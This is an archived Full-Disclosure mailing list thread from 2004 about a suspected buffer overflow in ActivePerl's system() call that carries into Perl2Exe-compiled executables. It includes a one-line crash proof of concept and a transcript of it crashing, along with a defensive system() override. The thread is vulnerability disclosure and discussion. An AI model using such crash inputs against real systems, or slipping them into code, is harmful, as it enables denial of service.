lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <3996AE5EBEF964418D80953BDCABFF56133F72F4@ex1.asurite.ad.asu.edu>
From: Stephen.Blass at asu.edu (Stephen Blass)
Subject: ActivePerl Perl2Exe [was] Buffer Overflow in
 ActivePerl ?

Perl2Exe rolls the interpreter up into the exe so if the interpreter is vulnerable, then the exe will be too.  With the service compiler you will have the same situation in services compiled as 'standalone'; if you compile 'dependent' services you are at the mercy of the perl interpreter on the system you deploy the service on.

You can change the behavior of the perl 'system' in a perl script like so.

use subs qw (system);
sub system { my ($cmd)=@_; print"what, me run $cmd ? "; }
$a="A" x 256; system($a);

You can reach out from your custom system subroutine to the real thing if you'd like by calling CORE::system if you want to scrub arguments some more before passing them to the system.

-
Steve Blass




-----Original Message-----
From: full-disclosure-admin@...ts.netsys.com
[mailto:full-disclosure-admin@...ts.netsys.com]On Behalf Of Clint
Bodungen
Sent: Thursday, May 20, 2004 12:44 PM
To: morning_wood; 0day; full-disclosure@...ts.netsys.com
Subject: Re: [Full-Disclosure] ActivePerl Perl2Exe [was] Buffer Overflow
in ActivePerl ?


I haven't tested it yet but this also probably means that the msi/Microsoft
service compilor in the Activeperl Developer's Kit is as well then.


----- Original Message ----- 
From: "morning_wood" <se_cur_ity@...mail.com>
To: "0day" <0day@...hackers.org>; <full-disclosure@...ts.netsys.com>
Sent: Thursday, May 20, 2004 2:08 PM
Subject: [Full-Disclosure] ActivePerl Perl2Exe [was] Buffer Overflow in
ActivePerl ?


> binaries created via perl2exe also are affected.
>
> C:\>type 1.pl
> #
> $a="A" x 256; system($a);
>
> C:\>perl2exe -v 1.pl
> Perl2Exe V7.02 Copyright (c) 1997-2003 IndigoSTAR Software
> Cmd = -v 1.pl
> CWD = C:\
> Known platforms: Win32
> Target platform = Win32 5.006001
> $I =
> $ENV{'PERL5LIB'} =
> Found perl.exe at C:\Perl\bin
> LibList = C:\Perl\lib,C:\Perl\site\lib,.
> Converting '1.pl' to 1.exe
> Compiling 1.pl
>
> C:\>1.exe
> [BIG CRASH]
>
> C:\>
>
>
>
> Donnie Werner
> http://exploitlabs.com
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ